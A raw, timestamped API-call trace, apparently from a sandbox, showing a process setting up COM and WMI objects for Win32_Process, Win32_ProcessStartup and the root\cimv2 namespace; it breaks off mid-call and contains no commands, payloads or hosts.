WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0126.742] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b482f10) returned 0x0 [0126.742] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482f10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.742] WbemDefPath:IUnknown:Release (This=0x1b482f10) returned 0x3 [0126.742] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0126.742] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0126.742] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0126.742] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0126.742] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0126.742] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0126.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b07e0) returned 0x0 [0126.743] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0126.743] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0126.743] WbemDefPath:IWbemPath:SetText (This=0x1b4b07e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b07e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0126.743] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b07e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0126.743] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0126.743] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0126.743] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0126.743] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.744] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b482f70) returned 0x0 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482f70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0126.744] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482f70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af760) returned 0x0 [0126.744] WbemDefPath:IUnknown:Release (This=0x1b482f70) returned 0x0 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af760) returned 0x0 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0126.744] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0126.744] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b482a50) returned 0x0 [0126.744] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482a50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.744] WbemDefPath:IUnknown:Release (This=0x1b482a50) returned 0x3 [0126.744] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0126.745] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0126.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0126.745] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0126.745] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0126.745] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0126.745] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0126.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af760, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af760) returned 0x0 [0126.745] WbemDefPath:IUnknown:AddRef (This=0x1b4af760) returned 0x3 [0126.745] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x2 [0126.745] WbemDefPath:IWbemPath:SetText (This=0x1b4af760, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af760, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af760, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af760, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0126.745] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.745] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0126.745] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0126.745] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0126.746] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.746] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b482bb0) returned 0x0 [0126.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482bb0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0126.746] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482bb0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b08a0) returned 0x0 [0126.746] WbemDefPath:IUnknown:Release (This=0x1b482bb0) returned 0x0 [0126.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b08a0) returned 0x0 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0126.747] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b482f30) returned 0x0 [0126.747] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482f30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.747] WbemDefPath:IUnknown:Release (This=0x1b482f30) returned 0x3 [0126.747] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0126.747] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0126.747] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0126.747] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0126.747] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0126.747] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0126.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b08a0) returned 0x0 [0126.747] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0126.747] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0126.747] WbemDefPath:IWbemPath:SetText (This=0x1b4b08a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0126.747] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0126.748] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.748] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0126.748] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0126.748] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0126.748] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.748] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4831b0) returned 0x0 [0126.748] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4831b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0126.748] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4831b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b483150) returned 0x0 [0126.748] WbemLocator:IUnknown:Release (This=0x1b4831b0) returned 0x0 [0126.748] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b483150) returned 0x0 [0126.748] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0126.748] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0126.749] WbemLocator:IUnknown:AddRef (This=0x1b483150) returned 0x3 [0126.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0126.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0126.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0126.749] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0126.749] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0126.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0126.749] WbemLocator:IUnknown:Release (This=0x1b483150) returned 0x2 [0126.749] WbemLocator:IUnknown:Release (This=0x1b483150) returned 0x1 [0126.749] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0126.749] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0126.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1b483150, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b483150) returned 0x0 [0126.749] WbemLocator:IUnknown:AddRef (This=0x1b483150) returned 0x3 [0126.749] WbemLocator:IUnknown:Release (This=0x1b483150) returned 0x2 [0126.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0126.749] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0126.749] WbemDefPath:IWbemPath:GetText (in: 